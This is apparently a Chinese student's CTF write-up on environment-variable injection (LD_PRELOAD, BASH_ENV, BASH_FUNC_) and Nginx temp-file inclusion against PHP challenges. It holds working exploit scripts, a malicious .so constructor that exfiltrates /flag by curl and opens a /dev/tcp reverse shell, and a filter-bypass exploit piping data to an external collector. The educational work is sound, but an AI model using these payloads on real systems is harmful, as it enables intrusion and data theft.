从虎符CTF-ezphp浅谈环境变量注入与Linux临时文件利用

比赛时的错误思路

进入赛题,题目很简单,就是一串php代码,俗话说的很好,越简单的越复杂,此话诚不欺我也。

<?php 
foreach($_REQUEST['envs'] as $key => $val) {putenv("{$key}={$val}"); 
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');  
?>

当时我第一眼就看到了这个system函数,因为它用system调用echo的行为实在奇怪,毕竟在系统中,system这个函数是非常危险的,它可以以root权限执行几乎任何代码。而搭过博客的人可能会遇到由于安全原因导致putenv函数被禁用,服务停摆的情况。因为putenv是一种危险函数,因为它可以设置环境变量,这可能会对系统服务造成毁灭性打击。因此,这短短几行代码简直是卧龙凤雏一相逢————便胜人间无数。大家都感觉这个玩意儿显然有大问题,但不知道怎么利用这个问题代码。

我当时的错误的想法是:能不能参考CISCN-LoveMath,用define之类的方法把hfctf2022变成get flag,这样system命令一调用,就能直接echo flag,皆大欢喜。不过这个题如果真那么简单就不会将近晚上才有一血了。首先CISCN的关键代码是:

eval('echo '.$content.';');

同样是危险函数,但这里我们的改变量是$content,这是一个变量,而我们那道题是”echo hfctf2022“,这就是一句简单的话,即使我们运气好,真的把hfctf2022变成了get flag,经过我的验证,最后的结果也只会是在页面上打印get flag罢了,不会真的把它当作一个命令执行。

不过我们学校的大佬yyz拿了这道题的二血,从他的口中,我得到了这道题的预期解,这其实是一道环境变量注入题,参考大佬的博客

代码是不是和这道题很相似?确实,这是一道环境变量注入,什么easy php,笑死😥😥😥借用这位大佬的话:

在有上传点(无需控制文件名)的情况下,这段代码其实比较简单了,可以直接用LD_PRELOAD搞定。上传一个文件名不限的so文件,如hj.jpg,可以通过LD_PRELOAD=/var/www/html/uploads/hj.jpg这样的方法劫持并执行任意代码。

什么是LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

用人话讲,LD_PRELOAD,是个环境变量,用于动态库的加载,而动态库加载的优先级最高,因此我们可以抢先在正常函数执行之前率先执行我们的用代码写的函数。借用大佬的博客的演示:

假如这里有个random.c,代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(){
  srand(time(NULL));
  int i = 10;
  while(i--) printf("%d\n",rand()%100);
  return 0;
}

执行结果:

[root preload]#gcc -o random  random.c
[root preload]#./random
69
36
52
0
15
24
72
34
71
84

假如这里有个unrandom.c,代码为:

int rand(){
return 42; //the most random number in the universe
}

编译成动态库:

gcc -shared -fPIC unrandom.c -o unrandom.so

然后运行

LD_PRELOAD=$PWD/unrandom.so ./random_nums
或者
[root preload]#export LD_PRELOAD=$PWD/unrandom.so
[root preload]#./random
运行结果均为:
42
42
42
42
42
42
42
42
42
42

神奇的一幕发生辣!运行结果全成了42!

上面的例子说明,我们已经成功将rand函数替换为我们自己所编写的版本。因为我们的动态库优先级是最高的,既然先return 42,那么优先级低的代码就已经都被我们覆盖了。因此如大佬所说的那样,我们能利用LD_PRELOAD劫持并执行任意代码。但遗憾的是,这里没有上传点,我们压根就不可能整个LD_PRELOAD=/var/www/html/uploads/hj.jpg上去。这就是如今的问题所在,怎么在没有给上传接口的情况下get shell。

Centos下的无参数注入

大佬在接下来的博客中直接分析了PHP的底层代码,分析PHP的system函数的代码(这就是Linux内核玩家吗/(ㄒoㄒ)/~~),然后发现PHP的system调用的是系统的popen(),紧接着,继续分析popen究竟在做什么。最后,大佬发现,popen()仍然没完,还得继续套娃下去,实际上popen最终执行的是spawn_process函数:

static bool
spawn_process (posix_spawn_file_actions_t *fa, FILE *fp, const char *command,
           int do_cloexec, int pipe_fds[2], int parent_end, int child_end,
           int child_pipe_fd)
{

  //...

  if (__posix_spawn (&((_IO_proc_file *) fp)->pid, _PATH_BSHELL, fa, 0,
             (char *const[]){ (char*) "sh", (char*) "-c",
             (char *) command, NULL }, __environ) != 0)
    return false;

  //...

  return true;
}

从第九行代码中,我们发现,最终执行的是“sh”, (char*) “-c”,即命令sh -c “echo hello”

现在我们来思考,我可以控制执行sh -c “echo hello”时的环境变量,是否可以getshell?

sh -c “echo hello”实质上执行了两个二进制文件,即

  • sh
  • echo

sh其实只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash。

假如我们的目标是Ubuntu,属于debian系,我们不妨来探讨下echo和dash两个程序是否可利用。

找到echo源码中与环境变量有关的部分:

bool allow_options =
(! getenv ("POSIXLY_CORRECT")
|| (! DEFAULT_ECHO_TO_XPG && 1 < argc && STREQ (argv[1], "-n")));

可惜这是bool类型的变量,没啥卵用。

来到dash,在dash的main函数中有一句很重要的话

if ((shinit = lookupvar("ENV")) != NULL && *shinit != '\0') {
read_profile(shinit);
}

lookupvar用于查找上下文中的变量,在shell中变量即为环境变量,所以这里等于找到了一个名为ENV的环境变量并传入read_profile函数中。read_profile函数作用是读取SHELL中的profile文件,比如类似于$HOME/.profile这种:

STATIC void
read_profile(const char *name)
{
   name = expandstr(name);
   if (setinputfile(name, INPUT_PUSH_FILE | INPUT_NOFILE_OK) < 0)
        return;

  cmdloop(0);
  popfile();
}

但很有意思的是,这里它对文件名name变量做了一次expandstr,也就是解析。这个解析的目的是支持SHELL语法,比如会将$HOME解析成实际的家目录地址。既然支持SHELL语法,那么可能会支持执行命令,但可惜用如下命令不能成功注入

ENV='$(curl 675ba661.o53.xyz)' dash -c id

接下来,大佬决定编译调试dash,复现问题。

dash的代码确实太孤儿了,我怀疑连写这个代码的人他自己现在都看不懂他在写什么,因为dash里用了很多很多的goto,整个代码跳跃性太强了。于是大佬用vscode远程调试的方法来调试,具体过程可以参考调试Apache HTTPd的这篇帖子。vscode连接到远程的dash源码的文件夹后,执行如下命令编译dash:

CFLAGS="-g" ./configure --prefix=/root/workspace/dash
make
make install

编译好的dash就在/root/workspace/dash/bin目录下,添加一个vscode调试配置项,配置好启动的参数和环境变量:

在main函数里下断点,调试可以发现,程序并没有进入到我们上面分析的那个if语句中:

关键原因就是其中的iflag变量。经过分析发现,这个变量表示执行dash时是否传入了-i参数。

所以,我们将启动dash时的参数-c改成-i -c,再重新执行,即可发现成功进入read_profile:

日志平台收到了web请求,因此这个ENV环境变量确实存在一处命令注入的问题。

ENV='$(id 1>&2)' dash -i -c 'echo hello'//通过该命令可以简单复现该问题
//被大佬骂了之后懂了这句话的意思😢😢:$() 括号里面会执行shell命令;id命令不加用户名,默认当前用户;>是重定向;2是标准错误;1是标准输出;1>&2表示标准输出重定向至标准错误(经验证必须要标准错误才能显示出来结果)所以这个命令实际上是检测通过这个C代码能不能执行我们显Id的shell命令

但PHP的system函数执行的是sh -c,并没有传入-i参数。接着大佬全局搜索了一下read_profile和expandstr这两个函数,看看是否有可控的环境变量进入,最后发现PS1、PS2、PS4这三个环境变量也是会被expandstr函数解析的,PS1是很好触发的,但需要进入交互式shell中方可执行,而ps4只能解析变量,无法执行命令。

最后大佬将目标转向了Bash,如果目标系统是CentOS,那么系统上的sh指向的是Bash,此时是否能有突破呢?

在Bash中我们很快也关注到了和之前ENV那一段比较类似的代码:

/* A non-interactive shell not named `sh' and not in posix mode reads and
executes commands from $BASH_ENV. If `su' starts a shell with `-c cmd'
and `-su' as the name of the shell, we want to read the startup files.
No other non-interactive shells read any startup files. */
if (interactive_shell == 0 && !(su_shell && login_shell))
{
if (posixly_correct == 0 && act_like_sh == 0 && privileged_mode == 0 &&
sourced_env++ == 0)
execute_env_file (get_string_value ("BASH_ENV"));
return;
}

在Bash中这个环境变量叫BASH_ENV,使用上面那个命令再测试一下:

BASH_ENV='$(id 1>&2)' bash -c 'echo hello'

震惊!直接成功了!而且我们这次没加-i一步到胃!,也就是说这里是不需要传入其他参数的!

经过大佬的实践,在CentOS下测试发现,如果执行的是sh -c则无法复现命令注入;如果执行的是bash -c是可以注入的:

很神奇,明明sh只是个软连接,指向的是bash,也就是说两次执行的是同一个程序,但结果却出现了差异。而PHP中执行的是sh,不是bash,这也导致我们无法利用成功最初的代码。

那么来看看原因吧,动态调试bash,断点在上面那两个if语句上:

可见,内部这个if语句没有进去,原因是此时act_like_sh这个变量的值是1。我们找到这个变量的赋值点:

当shell名字shell_name这个变量等于sh的时候,act_like_sh会变成1。这也就解释了我们前面反常的结果——为什么bash -c可以注入命令但sh -c不可以。

虽然这个发现没有解决我最初提出的问题,但仍然是往前垮了一步,即我们在不控制bash的参数的情况下,可以通过环境变量注入任意命令。这可能在部分情况下会有一些作用。

峰回路转,走出一条小道

但。。。大佬就是大佬,最后还是被他找到了一种方法(太强了)

在bash代码中,variables.c的initialize_shell_variables函数用于将环境变量注册成SHELL的变量,其中包含的一段代码引起了大佬的注意:

for (string_index = 0; env && (string = env[string_index++]); ) {
    name = string;
    // ...

    if (privmode == 0 && read_but_dont_execute == 0 && 
        STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
        STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
        STREQN ("() {", string, 4))
    {
        size_t namelen;
        char *tname;        /* desired imported function name */

        namelen = char_index - BASHFUNC_PREFLEN - BASHFUNC_SUFFLEN;

        tname = name + BASHFUNC_PREFLEN;    /* start of func name */
        tname[namelen] = '\0';      /* now tname == func name */

        string_length = strlen (string);
        temp_string = (char *)xmalloc (namelen + string_length + 2);

        memcpy (temp_string, tname, namelen);
        temp_string[namelen] = ' ';
        memcpy (temp_string + namelen + 1, string, string_length + 1);

        /* Don't import function names that are invalid identifiers from the
         environment in posix mode, though we still allow them to be defined as
         shell variables. */
        if (absolute_program (tname) == 0 && (posixly_correct == 0 || legal_identifier (tname)))
            parse_and_execute (temp_string, tname, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
        else
            free (temp_string);     /* parse_and_execute does this */
        //...
    }
}

这里for遍历了所有环境变量,并用=分割,name就是环境变量名,string是值。

当满足下面这些条件的情况下,temp_string将被传入parse_and_execute执行:

  • privmode == 0,即不能传入-p参数
  • read_but_dont_execute == 0,即不能传入-n参数
  • STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10个字符等于BASH_FUNC_
  • STREQ (BASHFUNC_SUFFIX, name + char_index – BASHFUNC_SUFFLEN),环境变量名后两个字符等于%%
  • STREQN (“() {“, string, 4),环境变量的值前4个字符等于() {

前两个条件肯定是满足的,后三个条件是用户可控的,所以这个if语句是肯定可以进入的。进入if语句后,去除前缀BASH_FUNC_和后缀%%的部分将是一个变量名,而由() {开头的字符串将会被执行。

这里其实做的就是一件事:根据环境变量的值初始化一个匿名函数,并赋予其名字

所以,我们传入下面这样一个环境变量,将会在Bash上下文中添加一个myfunc函数:

env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'

这里仍然存在一个问题是,因为在执行parse_and_execute的时候配置了SEVAL_FUNCDEF,我们只能利用这个方法定义函数,而无法逃逸出函数执行任意命令。解决这个问题的方法也很简单,我们只需要覆盖一些已有的“命令”,在后面执行这个命令的时候就可以执行到我们定义的函数里了。

那么,回到本文开头说的那个问题,我添加了一个名为echo的函数,这样在执行echo hello的时候实际上执行的是我添加的函数:

env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

赢!

但遗憾的是:CentOS 7下做测试的时候并不能复现这个trick,因为CentOS 7下使用的是Bash 4.2,而BASH_FUNC_这个trick是在Bash 4.4下引入的……这就十分尴尬了。因为CentOS 8下的Bash是4.4版本,我们可以使用它进行测试。实战一下:

运行个测试服务器

访问http://192.168.1.162:8080/1.php?envs[BASH_FUNC_echo%25%25]=()%20{%20id;%20}即执行id命令envs[BASH_FUNC_echo%%]=() { id; }

但我们该如何攻破低版本下的centos呢?

BASH_FUNC的环境变量,就是因为修复ShellShock而引入的。CentOS 7这类操作系统虽然修复了ShellShock漏洞,但是并不是通过升级Bash版本来修复的,而是通过“打补丁”。

--- ../bash-4.2-orig/variables.c    2014-09-25 13:07:59.313209541 +0200
+++ variables.c 2014-09-25 13:15:29.869420719 +0200
@@ -268,7 +268,7 @@
 static void propagate_temp_var __P((PTR_T));
 static void dispose_temporary_env __P((sh_free_func_t *));     

-static inline char *mk_env_string __P((const char *, const char *));
+static inline char *mk_env_string __P((const char *, const char *, int));
 static char **make_env_array_from_var_list __P((SHELL_VAR **));
 static char **make_var_export_array __P((VAR_CONTEXT *));
 static char **make_func_export_array __P((void));
@@ -301,6 +301,14 @@
 #endif
 }

+/* Prefix and suffix for environment variable names which contain
+   shell functions. */
+#define FUNCDEF_PREFIX "BASH_FUNC_"
+#define FUNCDEF_PREFIX_LEN (strlen (FUNCDEF_PREFIX))
+#define FUNCDEF_SUFFIX "()"
+#define FUNCDEF_SUFFIX_LEN (strlen (FUNCDEF_SUFFIX))
+
+

可见,在这个补丁里也引入了FUNCDEF_PREFIX和FUNCDEF_SUFFIX,只不过和4.4以下的有一处差异:Bash 4.4下FUNCDEF_SUFFIX等于%%,而这个4.2的补丁中FUNCDEF_SUFFIX等于()

这就是我们在CentOS 7下没有测试成功的原因,设置的环境变量名不对。

env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"

综上所述:

之后我们遇到环境变量注入,可以进行下列三种测试:

  • Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如TEST=() { :; }; id;
  • Bash 4.4以前:env $’BASH_FUNC_echo()=() { id; }’ bash -c “echo hello”
  • Bash 4.4及以上:env $’BASH_FUNC_echo%%=() { id; }’ bash -c ‘echo hello’

在CentOS系系统下完美解决本文开头提到的问题,通杀所有Bash。

因此,经大佬发现了这样一些可以导致命令注入的环境变量:

  • BASH_ENV:可以在bash -c的时候注入任意命令
  • ENV:可以在sh -i -c的时候注入任意命令
  • PS1:可以在sh或bash交互式环境下执行任意命令
  • PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
  • BASH_FUNC_xxx%%:可以在bash -c或sh -c的时候执行任意命令

非Centos环境下通过ld_preload实现文件包含攻击

回到上文,虎符CTF这道ezphp中,os是debain 不是centos bash_func这个技巧没有用,因为system调用的是sh -c而不是 bash -c, debain/ubuntu下sh是dash。

猜测,ld_preload是否能够触发像include一样的效果?

一位大佬的博客中,大佬指出:

实际上在POST大文件的时候,php会在/tmp/目录下面生成一个临时文件/tmp/phpXXXX,文件内
容就是用户POST的内容,然后发现在请求的时候/proc/self/fd/5是其文件描述符,具体可以在请
求的时候命令执行ls -la一下。这时候直接使用LD_PRELOAD包含这个文件即可。

众所周知 ( 我不知道/(ㄒoㄒ)/~~ ),如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/ 目录下,但是如果这个文件在没有被关闭的情况下就被删除了呢?

我们可以在对应的 /proc/pid/fd 下找到我们删除的文件 ,可以看到虽然显示是被删除了,但是我们依然可以读取到文件内容,所以我们或许可以直接用 php 进行文件包含

Bypass PHP File

虽然这并不是第一次出现过这个技巧了,但是可能比赛的时候大多数人都没想起来,对于 include 函数,在进行包含的时候,会使用 php_sys_lstat 函数判断路径,这里已经有师傅整理过很详细的文章了:php源码分析 require_once 绕过不能重复包含文件的限制

php_sys_lstat()实际上就是linux的lstat(),这个函数是用来获取一些文件相关的信息,成功执行时,返回0。失败返回-1,并且会设置errno,因为之前符号链接过多,所以errno就都是ELOOP,符号链接的循环数量真正取决于SYMLOOP_MAX,这是个runtime-value,它的值不能小于_POSIX_SYMLOOP_MAX。

所以虽然直接包含会显示文件不存在,但是这里依然适用于使用多层符号链接绕过的场景,进而包含执行 php 代码,并且根据一开始我们实验的图看到,其实 Nginx 对于临时文件句柄的关闭往往在最后才进行关闭,所以这个过程中有足够的时间让我们去进行竞争包含。

因此,我们或许可以竞争包含 proc 目录下的临时文件。但是最后一个问题就是,既然我们要去包含 Nginx 进程下的文件,我们就需要知道对应的 pid 以及 fd 下具体的文件名,怎么才能获取到这些信息呢?

这时我们就需要用到文件读取进行获取 proc 目录下的其他文件了,这里我们只需要本地搭个 Nginx 进程并启动,对比其进程的 proc 目录文件与其他进程文件区别就可以了。

而进程间比较容易区别的就是通过 /proc/cmdline ,如果是 Nginx Worker 进程,我们可以读取到文件内容为 nginx: worker process 即可找到 Nginx Worker 进程;因为 Master 进程不处理请求,所以我们没必要找 Nginx Master 进程。

当然,Nginx 会有很多 Worker 进程,但是一般来说 Worker 数量不会超过 cpu 核心数量,我们可以通过 /proc/cpuinfo 中的 processor 个数得到 cpu 数量,我们可以对比找到的 Nginx Worker Pid 数量以及 CPU 数量来校验我们大概找的对不对。

那怎么确定用哪一个 PID 呢?以及 fd 怎么办呢?由于 Nginx 的调度策略我们确实没有办法确定具体哪一个 worker 分配了任务,但是一般来说是 8 个 worker ,实际本地测试 fd 序号一般不超过 70 ,即使爆破也只是 8*70 ,能在常数时间内得到解答。

总结起来整个过程就是:

  • 让后端 php 请求一个过大的文件
  • Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
  • 虽然 Nginx 删除了/var/lib/nginx/fastcgi下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
  • 遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI

虎符-ezphp的预期解

到这里前置知识大家都差不多了解了,是时候分享一下yyz大佬的payload了:

exp://脚本

import requests 
url = "http://120.79.121.132:27816/index.php?env=LD_PRELOAD=/proc/self/fd/5" 
with open("/home/yyz/flag.so", "rb") as f: //rb模式: 表示以字节(二进制)的方法读取文件中的数据;将flag.so中的数据以二进制方式读取并写入f中;
a = f.read() //读取文件中的内容

a = a + b"\n" * 11 * 1024 //在a的后面打印很多换行符,使其成为大文件
# print(a) 

resp = requests.post(url, data=a) //以post方式发送数据为a的请求
print(resp.content)//打印请求回显

flag.c

#define _GNU_SOURCE 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
__attribute__ ((__constructor__)) void preload (void) //__attribute__((constructor))指在main函数之前,执行一个函数,便于我们做一些准备工作,即我们定义了一个叫做preload的无参数无回显的预编译函数
{ 
      system("curl http://124.xxx.xxx.xxx:2334/`cat /flag`"); //访问攻击者的机器并对自己执行cat flag命令
      system("bash -i >& /dev/tcp/124.xxx.xxx.xxx/2333 0>&1"); //反弹shell,是我们可以通过监听端口收到受害机实现cat flag得到的数据
}

gcc flag.c -fPIC -shared -o flag.so//利用LD_PRELOAD编译成动态库,提前执行函数

所以yyz大佬的解法,大概就是先写一个可以反弹shell的程序,然后用ld_preload将它处理成预编译文件,然后用脚本发送给受害主机的Linux临时文件储存文件夹,实现提前文件包含。然后该预编译文件功能提前生效,产生交互式shell,实现我们想要实现的get flag命令。

赛后个人重现

hack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
  unsetenv("LD_PRELOAD");
  system("cat /flag > /var/www/html/flag.txt");
}

使用如下命令编译成evil.so

gcc -shared -fPIC evil.c -o evil.so -ldl 

脚本:

from time import sleep
 
import requests
import _thread
import os

f=open("evil.so",'rb')
data=f.read()+ (1024*1024* "A").encode()
url="http://b1ba6439-0027-4184-a8af-ae1330146712.node4.buuoj.cn:81/"
 
def upload():
    print("start upload")
    while True:
        requests.get(url+"index.php", data=data)
 
def preload(fd):
    while True:
        print("start ld_preload")
        for pid in range(10,20):
            file = f'/proc/{pid}/fd/{fd}'
            # print(url+f"index.php?env=LD_PRELOAD={file}")
            resp = requests.get(url+f"index.php?env=LD_PRELOAD={file}")
            while resp.status_code != 200:
                sleep(3)
                resp = requests.get(url + f"index.php?env=LD_PRELOAD={file}")               
 
try:
    _thread.start_new_thread(upload, ())
    for fd in range(1, 20):
        _thread.start_new_thread(preload,(fd,))
        res = requests.get(url + f"/flag.txt")
        if "flag{" in res.text:
            print("finished")
            print(res.text)
            os._exit(0)
except:
    print("error")
 
while True:
    pass

运行即可,可能要爆很久,毕竟它那个位置纯看运气,反正半个小时内应该没问题

反弹shell

因为本人对反弹shell不是很熟悉,所以借助大佬的文章(https://zhuanlan.zhihu.com/p/138393396)在这里简单复习一下反弹shell的相关知识吧🥰🥰

什么是反弹shell?

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell?

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.目标机器的ip动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。也就是从主动攻击变为被动享受😍😍

总结

从本次比赛中确实收获了很多😘😘,意识到了web安全不一定只是对编程语言应用层上漏洞的简单利用,更应当把握语言的本质,将视线从php转向c,甚至从c看向二进制。到现在我才明白我之前看的那几本关于web安全的东西确实只是基础入门😥😥,那些老生常谈的漏洞在现在的互联网环境下确实少之又少了,想要精进web安全的水平,像yyz大佬一样大二进腾讯实习,必须要有更宽广的知识面,绝不能选了web方向就只听web方向的课,什么二进制呀,运维呀,能听还是可以去听一下(反正纯纯的蹭课🤗🤗)。

除此之外,还要多关注一下大佬的博客,了解安全圈最新的动态,比如这道ezphp,很明显看的出来借鉴了很多大佬的博客,是一道纯纯的缝合怪。提出通解centos的环境注入的phith0n大佬是今年二月份写的博客(据比赛也就一个月),然而出题人还是绕过了centos选了debian,而另一个大佬的预期解的博客也是四个月前写的,距离现在不远,可想而知,想要打好CTF,必须要多关注多学习大佬的博客,这一次我就切切实实啃完了好几个大佬的博客,了解了不同linux环境下环境变量的注入攻击,确实收获良多,并且通过不要脸的提问😎😋看懂了yyz大佬的payload,真是不容易呀。

这篇博客花的时间估计有四个多小时了,幸亏是在CTF课上花时间写的😏😏也所谓了。ε=( o`ω′)ノ

今后一定要努力学习,学好python,php,c,linux,这样提问就不会被大佬骂了😪😪😪。

[LineCTF2022]BB(用p🐂的方法利用环境变量)

因为这道HFCTF虽然看起来可以用p🐂的方法利用环境变量注入,但由于linux版本与环境的问题,这种方法可能并不能在本题利用,如果真的想的话可能需要继续挖bash,这样需要的水平极高,毕竟连p🐂也没挖出来,想要在比赛短短的时间内超越p🐂找到全新的攻克方法那水平绝对是骨灰级linux内核玩家,因此在我印象中HFCTF那道题做出来的人大部分都用的是临时文件包含,不过后来我自己下来刷题之后恰好遇到一道题就是用p🐂的方法利用环境变量,在这里分享出来,以供大家学习和进步。

进来就是一大堆代码:

<?php
    error_reporting(0);

    function bye($s, $ptn){
        if(preg_match($ptn, $s)){
            return false;
        }
        return true;
    }

    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
            putenv("{$k}={$v}");
        }
    }
    system("bash -c 'imdude'");

    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i")) {
            putenv("{$k}");
        }
    }
    highlight_file(__FILE__);
?>

然后我们测试环境的话会发现这种环境下p🐂的方法是适用的,因此我们可以考虑用环境变量注入的方法get shell。

环境变量注入最基础的用法比如:

BASH_ENV='$(id 1>&2)' bash -c 'echo hello'

可以看到我们成功执行了”echo hello”的命令捏o( ̄▽ ̄)ブ

代码分析

回到本题,看看这道题的代码。

每一次循环,当前数组元素的键与值就都会被赋值给 $key 和 $value 变量(数字指针会逐一地移动),在进行下一次循环时,你将看到数组中的下一个键与值。

foreach ($array as $key => $value)
{
    要执行代码;
}

正则绕过

除此之外,本题还限制我们环境变量名里面不能包含等号,更不能包含字母。

if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i"))

我之前见过差不多的,这个正则好绕,用8进制就行了:

构造一个whoami:oct(ord(whoami))[2:]

$'\167\150\157\141\155\151'

分享一个八进制脚本:

# python3.8

#str = '("file_put_contents")("1.php","<?php eval($_POST["a"]);?>")'
str = '("system")("whoami")'
string = ''
for i in str:
    #print(i)
    if i == '"':
        string += '\\"'
        continue
    if i == '(':
        string += '('
        continue
    if i == ')':
        string += ')'
        continue
    if i == ',':
        string += ','
        continue
    string += '\\\\' + oct(ord(i))[2:]


print(string)

反弹shell

因此现在我们只要cat flag然后反弹shell就行了:

cmd = 'cat /flag | curl -d @- sj87vga3.requestrepo.com'

requestrepo.com是一个很好用的在线接受shell的网站,这个网站会给我们一个网址,可以直接用它在线接受反弹shell传来的信息,这样就不需要自己开自己的虚拟机了,极大的增加了实战中的安全性。

exp:

import string
import requests

cmd = 'cat /flag | curl -d @- sj87vga3.requestrepo.com'

o = ''

for c in cmd:
    if c in string.ascii_letters:
        o += f"$'\\{oct(ord(c))[2:]}'"
    else:
        o += c

r = requests.get(f'http://f1f0e33c-7467-41dc-931c-7cd6f18dd7b7.node4.buuoj.cn:81/?env[BASH_ENV]=`{o}`')
print(r.text)

从回显中,我们成功得到flag

参考国外大神

评论

  1. 2959068820
    1年前
    2022-10-09 22:51:52

    6

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇